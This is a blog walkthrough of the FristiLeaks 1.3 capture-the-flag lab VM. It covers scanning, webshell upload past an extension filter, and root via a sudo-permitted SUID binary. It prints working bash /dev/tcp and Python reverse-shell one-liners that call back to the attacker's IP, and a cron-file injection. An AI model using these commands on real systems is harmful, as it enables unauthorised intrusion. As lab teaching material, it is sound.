Name : FristiLeaks: 1.3
Difficulty : Beginner
Type : boot2root
Source : VulnHub
URL : https://www.vulnhub.com/entry/fristileaks-13,133/
Entry : 8 / 30
Welcome to the walkthrough for FristiLeaks: 1.3, a boot2root CTF found on VulnHub. This is the eighth VM in my VulnHub Challenge!
FristiLeaks is quite a fun challenge, since it has a lot of “traditional” CTF elements with it such as encoding, upload bypass, etc. It is also often listed as one of the VulnHub VMs that should be completed as part of the preparation for the OSCP.
Goal
For this particular entry in the series, there is a flag file in the /root
directory that can be read once access is gained to the root
user.
Setup
I’m using VMWare Workstation Player to host Kali and the FristiLeaks: 1.3 image, with both VMs running in a NAT network. Refer to the Description section for this VM if you are using VMWare, since you must change the MAC address of your network adapter for it to work properly.
Discovery
I use netdiscover
to search for the IP address of the target VM:
root@dante:~# netdiscover -r 192.168.127.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
6 Captured ARP Req/Rep packets, from 4 hosts. Total size: 360
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.127.1 00:50:56:c0:00:08 1 60 VMware, Inc.
192.168.127.2 00:50:56:e9:f5:d4 2 120 VMware, Inc.
192.168.127.142 08:00:27:a5:a6:76 2 120 PCS Systemtechnik GmbH
192.168.127.254 00:50:56:f7:1c:69 1 60 VMware, Inc.
So it looks like 192.168.127.142
is our target IP. Since we changed the MAC address for the VM, this makes sense as to why it isn’t a VMWare, Inc. MAC vendor.
Scanning
I’ll start with a quick nmap
scan to look for open ports, then do a second scan that does a deeper dive into the services behind the open ports using the -sC
and -sV
flags:
root@dante:~# nmap 192.168.127.142
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-01 19:10 EDT
Nmap scan report for 192.168.127.142
Host is up (0.00094s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 5.31 seconds
root@dante:~# nmap -sC -sV -p80 192.168.127.142
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-01 19:10 EDT
Nmap scan report for 192.168.127.142
Host is up (0.00036s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
| http-methods:
|_ Potentially risky methods: TRACE
| http-robots.txt: 3 disallowed entries
|_/cola /sisi /beer
|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.80 seconds
A very simple server indeed! Seems we only have port 80 open and there are a few entries in the robots.txt
file. The VM also seems to be running CentOS based on the response from the Apache version string, so we’ll keep that in mind as we scan further. Since we only have a web server to start with, it makes sense for us to focus our efforts there.
Web Reconnaissance
As with other VMs, I’m going to start with curl
and see what I can pull down from the main URL as well as the ones from robots.txt
:
root@dante:~# curl -v http://192.168.127.142/
* Trying 192.168.127.142:80...
* TCP_NODELAY set
* Connected to 192.168.127.142 (192.168.127.142) port 80 (#0)
> GET / HTTP/1.1
> Host: 192.168.127.142
> User-Agent: curl/7.65.3
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sun, 01 Sep 2019 19:15:13 GMT
< Server: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
< Last-Modified: Tue, 17 Nov 2015 18:45:47 GMT
< ETag: "31b2-2bf-524c0ef1d551d"
< Accept-Ranges: bytes
< Content-Length: 703
< Connection: close
< Content-Type: text/html; charset=UTF-8
<
<!-- Welcome to #Fristleaks, a quick hackme VM by @Ar0xA
Goal: get UID 0 (root) and read the special flag file.
Timeframe: should be doable in 4 hours.
-->
<html>
<body bgcolor="#FF69B4">
<br />
<center><h1> The <a href="https://twitter.com/search?q=%23fristileaks">#fristileaks</a> motto:</h1> </center>
<center> <img src="images/keep-calm.png" /> </center>
<br />
Fristileaks 2015-12-11 are:<br>
@meneer, @barrebas, @rikvduijn, @wez3forsec, @PyroBatNL, @0xDUDE, @annejanbrouwer, @Sander2121, Reinierk, @DearCharles, @miamat, MisterXE, BasB, Dwight, Egeltje, @pdersjant, @tcp130x10, @spierenburg, @ielmatani, @renepieters, Mystery guest, @EQ_uinix, @WhatSecurity, @mramsmeets, @Ar0xA
</body>
</html>
root@dante:~# curl http://192.168.127.142/cola
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://192.168.127.142/cola/">here</a>.</p>
</body></html>
root@dante:~# curl http://192.168.127.142/cola/
<img src="/images/3037440.jpg"/>
root@dante:~# curl http://192.168.127.142/beer/
<img src="/images/3037440.jpg"/>
root@dante:~# curl http://192.168.127.142/sisi/
<img src="/images/3037440.jpg"/>
root@dante:~#
So the headers are pretty basic, but it’s interesting to see the various URLs /cola/
, /beer
, and /sisi/
all return the same image:
Nice little troll there. But what about the main page?
Nice, another meme. Well, let’s turn to some brute force tactics and use gobuster
:
root@dante:~# gobuster dir -x php -f -t 30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.127.142/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://192.168.127.142/
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Add Slash: true
[+] Timeout: 10s
===============================================================
2019/09/01 19:29:31 Starting gobuster
===============================================================
/cgi-bin/ (Status: 403)
/images/ (Status: 200)
/icons/ (Status: 200)
/error/ (Status: 403)
/beer/ (Status: 200)
[ERROR] 2019/09/01 19:30:11 [!] Get http://192.168.127.142/174752.php: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)
[ERROR] 2019/09/01 19:30:11 [!] Get http://192.168.127.142/logo_ndh2600.php: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)
[ERROR] 2019/09/01 19:30:11 [!] Get http://192.168.127.142/pppd.php: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)
...
<snip>
Yeah, so it didn’t take long before I ran into troubles scanning with gobuster
. Could be something like OSSEC or some other brute force/rate limiting module or application running on the VM, but I’ll spare you the rest of the trouble. I did look into the /images/
and /icons/
paths, but nothing of interest was found. There were two images in the /images/
directory, and we’ve seen both of them already. The /icons/
directory just has the standard set of Apache icons, nothing else out of the ordinary.
That’s when I remembered the home page image! Keep Calm and Drink Fristi. Of course! Let me see what’s at /fristi/
, since the other entries in the robots.txt
file were all drinks of some sort (never heard of Sisi though, but it turns out it is a drink).
Progress!
Before we move on, I just want to let you know that I was stuck on this stage for about an hour. This is common with CTFs where the authors will taunt you, but sometimes it helps to take a step back and try the obvious. Often times people will do things like check for stenographic passwords hidden in images, etc. I’m not saying that I did that, but, well, other people may do that! Sometimes the answer is quite literally right in front of you.
I’m going to take a quick look at the source for this page:
root@dante:~# curl http://192.168.127.142/fristi/
<html>
<head>
<meta name="description" content="super leet password login-test page. We use base64 encoding for images so they are inline in the HTML. I read somewhere on the web, that thats a good way to do it.">
<!--
TODO:
We need to clean this up for production. I left some junk in here to make testing easier.
- by eezeepz
-->
</head>
<body>
<center><h1> Welcome to #fristileaks admin portal</h1></center>
<center><img src="data:img/png;base64,/9j/4AAQSkZJRgABAgAAZABkAAD/7AARRHVja3kAAQAEAAAAZAAA/+4ADkFkb2JlAGTAAAAAAf/b
AIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgIC
AwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD
AwMDAwMDAwMDAwMDAwMDAwMD/8AAEQgBrAImAwERAAIRAQMRAf/EAOsAAQABBAIDAQAAAAAAAAAA
AAAJAwcICgUGAQIECwEBAAAHAQEBAAAAAAAAAAAAAAIEBQYHCAkBAwoQAAAGAgECAwIICwMICAMG
BwECAwQFBgAHCBESIRMJMRRBIjIzcyQVClHRkrIjU6OzZBYXYXFUgZFCUpPTlNRDNCVVldUYGaFy
JvCxwWKi0vFjhEWWl0gRAAEDAwEEBwMFCgsFBgQGAwEAAgMRBAUGITESB0FRYXEiEwiBMhSRocFC
I7FSYnKSM1MVFwnRgqLSQ5OU1FUWGeGyY3Mk8MKD01QlozQmVrPDZHSklRi0J//aAAwDAQACEQMR
AD8Atassr5qv6VT5w/8Apm/1h/tzHxJquRbnO4jtO9U/OV/Wqflm/HnlSvOJ3WU85X9ap+Wb8eKl
OJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3W
U85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X
9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+
Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8e
KlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ
3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU8
5X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9a
p+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb
8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKlOJ3WU85X9ap+Wb8eKl
...
<snip>
...
I/Z42J4O1Pqn8R+zxsTwdqfVP4j9njYng7VUJ7p2rf8AWPmw/VfrUsbO1ejy6Hfu+kL/2Q==" /></center><br/>
<!--
iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACx
jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0kl
S0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixw
B4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+f
m63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJ
Zv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvb
DpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNd
jJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU
12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5
uvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg1
04VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLq
i1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2Fg
tOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws
30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl
3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HK
ul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12q
mD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34
rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFhe
EPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH
AHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzk
CwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJR
U5ErkJggg==
-->
...
<snip>
Yeah… That’s a lot of base64 encoded data. There’s also an interesting message from one of the developers right at the top! Seems they were kind enough to leave their username as well, eezeepz
.
Turns out there are two base64-encoded blocks though, and one of them is commented out! Before I try tackling the login page with SQL injection and the like, I’m going to try to decode that second block and see what the resulting data is using the file
command. I’ll start by copying the block to a file called comment-block.b64
:
root@dante:~# vim comment-block.b64
root@dante:~# base64 -d comment-block.b64 > comment-block.bin
root@dante:~# file comment-block.bin
comment-block.bin: PNG image data, 365 x 75, 8-bit/color RGB, non-interlaced
root@dante:~# mv comment-block.bin comment-block.png
So it’s a PNG file! Interesting. Here’s what it looks like:
Right… I’m going to turn my attention to that login page again.
Logging In
I tried all manner of SQL injection, but no luck. I also tried the usual passwords of admin
/admin
, admin
/fristi
, admin
/password
, etc., but none of them worked. That’s when I remembered my own advice. What’s already been given to me that I can use? Well, we have a username, eezeepz
, and we have a really weird string of k’s. Let me try those:
I’m in.
Getting a Web Shell
On the upload page, we are restricted to uploading image files, i.e. JPG, GIF, or PNG files. Files seem to be uploaded to the uploads
directory on the server, and I can browse to them directly. I.e. if I upload test.png, I can go to /fristi/uploads/test.png
to view it in my browser.
No problem, I’ll try an old trick that usually works on upload pages that only check the extension. I’ll copy the file /usr/share/webshells/php/simple-backdoor.php
to simple-backdoor.php.png
and upload that file instead. It works! When I browse to the page I can see that I have a working PHP backdoor:
Now the next step is to do a little recon to see if I can find something useful, like being able to create a proper reverse shell to do further exploration.
Enumeration with curl
I decide to go with curl
rather than Burp just because I’d like to showcase that sometimes you don’t need big GUI-based tools to solve CTFs. That and Burp tends to slow down my machine after a while. I try a few simple which
commands to see what’s available:
root@dante:~# curl -s http://192.168.127.142/fristi/uploads/simple-backdoor.php.png?cmd=which+nc | html2text
root@dante:~# curl -s http://192.168.127.142/fristi/uploads/simple-backdoor.php.png?cmd=which+wget | html2text
/usr/bin/wget
root@dante:~# curl -s http://192.168.127.142/fristi/uploads/simple-backdoor.php.png?cmd=which+python | html2text
/usr/bin/python
root@dante:~# curl -s http://192.168.127.142/fristi/uploads/simple-backdoor.php.png?cmd=which+perl | html2text
/usr/bin/perl
root@dante:~# curl -s http://192.168.127.142/fristi/uploads/simple-backdoor.php.png?cmd=which+curl | html2text
/usr/bin/curl
root@dante:~#
No nc
, but there is wget
, curl
, python
, and perl
available. I’ll head over to the reverse shell cheat sheet and get the syntax for a reverse shell using bash
. I personally like this one because it’s a simple command and generally works 99% of the time. If it doesn’t work I can always move on to using Python or Perl instead.
I setup my netcat listener locally with nc -nvlp 9001
and then fire off the command via my PHP backdoor:
root@dante:~# curl -s http://192.168.127.142/fristi/uploads/simple-backdoor.php.png?cmd=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.127.135%2F9001%200%3E%261
Note: For those wondering, I used an online URL encoder to encode the command, but Burp could easily do this as well.
root@dante:~# nc -nvlp 9001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 192.168.127.142.
Ncat: Connection from 192.168.127.142:41251.
bash: no job control in this shell
bash-4.1$ whoami
whoami
apache
bash-4.1$
Local Enumeration
I’ve successfully created my reverse shell and I’m running as the apache
user. Before I do my standard run of LinEnum.sh
, I’m just going to do some light reconnaissance. I’ll see what’s in the /home
directory and then move on to the /var/www
directory afterwards before I decide to run LinEnum.sh
:
bash-4.1$ cd /home
cd /home
bash-4.1$ ls -al
ls -al
total 28
drwxr-xr-x. 5 root root 4096 Nov 19 2015 .
dr-xr-xr-x. 22 root root 4096 Sep 1 15:28 ..
drwx------. 2 admin admin 4096 Jun 15 14:34 admin
drwx---r-x. 5 eezeepz eezeepz 12288 Nov 18 2015 eezeepz
drwx------ 2 fristigod fristigod 4096 Nov 19 2015 fristigod
bash-4.1$
Interesting! It seems the eezeepz
directory is readable by everyone. There is a notes.txt
file in the directory, which has some interesting content:
bash-4.1$ cat notes.txt
cat notes.txt
Yo EZ,
I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/
Don't forget to specify the full path for each binary!
Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.
- Jerry
Excellent! It seems Jerry, a.k.a. admin
, has given us the ability to run commands automatically! I go back to the reverse shell cheat sheet and decide on using a Python version this time. I create the /tmp/runthis
file, setup a new listener on my Kali machine, and wait:
bash-4.1$ cd /tmp
cd /tmp
bash-4.1$ echo "/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK
_STREAM);s.connect((\"192.168.127.135\",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fil
eno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" > runthis
\"/bin/sh\",\"-i\"]);'" > runthis),1); os.dup2(s.fileno(),2);p=subprocess.call([
bash-4.1$
Note: I had to be careful to escape all the double-quotes in the original command, since I was using double-quotes to surround the command so that I could echo
it to the runthis
file.
root@dante:~# nc -nvlp 9002
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9002
Ncat: Listening on 0.0.0.0:9002
Ncat: Connection from 192.168.127.142.
Ncat: Connection from 192.168.127.142:45928.
sh: no job control in this shell
sh-4.1$ whoami
whoami
admin
sh-4.1$
Excellent, now I’m the admin
user. Let’s see what else I can do.
Local Enumeration as admin
Let me see if this user has any sudo
privileges:
sh-4.1$ sudo -l
sudo -l
sudo: sorry, you must have a tty to run sudo
sh-4.1$ python -c "import pty;pty.spawn('/bin/bash')"
python -c "import pty;pty.spawn('/bin/bash')"
[admin@localhost ~]$ sudo -l
sudo -l
[sudo] password for admin:
Sorry, try again.
[sudo] password for admin:
Sorry, try again.
[sudo] password for admin:
Sorry, try again.
sudo: 3 incorrect password attempts
[admin@localhost ~]$
Turns out I needed to have a proper TTY session before I could use sudo
. No problem, Python to the rescue once again! In the end it didn’t matter though - without a password I can’t use sudo
with the admin
user.
Let me see what’s in the home directory:
[admin@localhost ~]$ pwd
pwd
/home/admin
[admin@localhost ~]$ ls -al
ls -al
total 656
drwx------. 2 admin admin 4096 Jun 15 14:34 .
drwxr-xr-x. 5 root root 4096 Nov 19 2015 ..
-rw------- 1 admin admin 940 Jun 15 14:44 .bash_history
-rw-r--r--. 1 admin admin 18 Sep 22 2015 .bash_logout
-rw-r--r--. 1 admin admin 176 Sep 22 2015 .bash_profile
-rw-r--r--. 1 admin admin 124 Sep 22 2015 .bashrc
-rwxr-xr-x 1 admin admin 45224 Nov 18 2015 cat
-rwxr-xr-x 1 admin admin 48712 Nov 18 2015 chmod
-rw-r--r-- 1 admin admin 737 Nov 18 2015 cronjob.py
-rw-r--r-- 1 admin admin 21 Nov 18 2015 cryptedpass.txt
-rw-r--r-- 1 admin admin 258 Nov 18 2015 cryptpass.py
-rwxr-xr-x 1 admin admin 90544 Nov 18 2015 df
-rwxr-xr-x 1 admin admin 24136 Nov 18 2015 echo
-rwxr-xr-x 1 admin admin 163600 Nov 18 2015 egrep
-rwxr-xr-x 1 admin admin 163600 Nov 18 2015 grep
-rwxr-xr-x 1 admin admin 85304 Nov 18 2015 ps
-rw-r--r-- 1 fristigod fristigod 25 Nov 19 2015 whoisyourgodnow.txt
[admin@localhost ~]$
I’ve had luck with .txt
files in the past, so I’m going to start with those:
[admin@localhost ~]$ cat whoisyourgodnow.txt
cat whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG
[admin@localhost ~]$ cat cryptedpass.txt
cat cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq
[admin@localhost ~]$
Looks like these are base64 encoded strings, but there’s a Python script called cryptpass.py
as well. Let me see what that looks like:
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys
def encodeString(str):
base64string= base64.b64encode(str)
return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1])
print cryptoResult
Well that’s pretty simple. This also explains the base64 encoded strings. So basically this Python script will read a string passed to it, base64 encodes that string, reverses it, then runs a ROT-13 cipher against the reversed string before returning the “encrypted” password.
I’ve written a simple Python script that reverses this process. With any luck, I should be able to use it to decode the passwords I found in those .txt files:
import base64,codecs,sys
def decodePass(encoded_passwd):
reverse_b64 = codecs.decode(encoded_passwd, 'rot13')
b64_passwd = reverse_b64[::-1]
passwd = base64.b64decode(b64_passwd)
return passwd
passwd = decodePass(sys.argv[1])
print passwd
Decoding the original passwords, I get thisisalsopw123
and LetThereBeFristi!
from cryptedpass.txt
and whoisyourgodnow.txt
respectively. Now that we have a password for fristigod
(remember, this is the owner of the whoisyourgodnow.txt
file), let me see if I can use su
to log in as fristigod
.
[admin@localhost ~]$ su fristigod -
su fristigod -
Password: LetThereBeFristi!
bash-4.1$ whoami
whoami
fristigod
bash-4.1$ pwd
pwd
/home/admin
bash-4.1$ cd /home/fristigod
cd /home/fristigod
bash-4.1$ ls -al
ls -al
total 20
drwx------ 2 fristigod fristigod 4096 Nov 19 2015 .
drwxr-xr-x. 5 root root 4096 Nov 19 2015 ..
-rw-r--r-- 1 fristigod fristigod 18 Sep 22 2015 .bash_logout
-rw-r--r-- 1 fristigod fristigod 176 Sep 22 2015 .bash_profile
-rw-r--r-- 1 fristigod fristigod 124 Sep 22 2015 .bashrc
bash-4.1$
Awesome! I’ve jumped to yet another user (typical of a standard CTF), meaning I’m one step closer to getting the flag.
Getting the Flag
As the fristigod
user, I check to see if it has any sudo
privileges:
bash-4.1$ sudo -l
sudo -l
[sudo] password for fristigod: LetThereBeFristi!
Matching Defaults entries for fristigod on this host:
requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User fristigod may run the following commands on this host:
(fristi : ALL) /var/fristigod/.secret_admin_stuff/doCom
bash-4.1$ ls -al /var/fristigod/.secret_admin_stuff/doCom
ls -al /var/fristigod/.secret_admin_stuff/doCom
-rwsr-sr-x 1 root root 7529 Nov 25 2015 /var/fristigod/.secret_admin_stuff/doCom
bash-4.1$
VERY interesting! It appears that we can use the user sudo
as the user fristi
to access the /var/fristigod/.secret_admin_stuff/doCom
executable, which happens to have the SUID and SGID bits set. The only question is, what does it do?
bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
[sudo] password for fristigod: LetThereBeFristi!
Usage: ./program_name terminal_command ...bash-4.1$
bash-4.1$
It looks like it will allow me to run a terminal command? Might as well go for broke!
bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom su -
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom su -
[root@localhost ~]# whoami
whoami
root
[root@localhost ~]# pwd
pwd
/root
[root@localhost ~]# ls -al
ls -al
total 48
dr-xr-x---. 3 root root 4096 Nov 25 2015 .
dr-xr-xr-x. 22 root root 4096 Sep 1 15:28 ..
-rw------- 1 root root 1936 Nov 25 2015 .bash_history
-rw-r--r--. 1 root root 18 May 20 2009 .bash_logout
-rw-r--r--. 1 root root 176 May 20 2009 .bash_profile
-rw-r--r--. 1 root root 176 Sep 22 2004 .bashrc
drwxr-xr-x. 3 root root 4096 Nov 25 2015 .c
-rw-r--r--. 1 root root 100 Sep 22 2004 .cshrc
-rw-------. 1 root root 246 Nov 17 2015 fristileaks_secrets.txt
-rw-------. 1 root root 1291 Nov 17 2015 .mysql_history
-rw-r--r--. 1 root root 129 Dec 3 2004 .tcshrc
-rw-------. 1 root root 829 Nov 17 2015 .viminfo
[root@localhost ~]#
Boom. I have root
. Now let me grab that flag and be done with this machine:
[root@localhost ~]# cat fristileaks_secrets.txt
cat fristileaks_secrets.txt
Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]
I wonder if you beat it in the maximum 4 hours it's supposed to take!
Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)
Flag: Y0u_kn0w_y0u_l0ve_fr1st1
[root@localhost ~]#
Fin.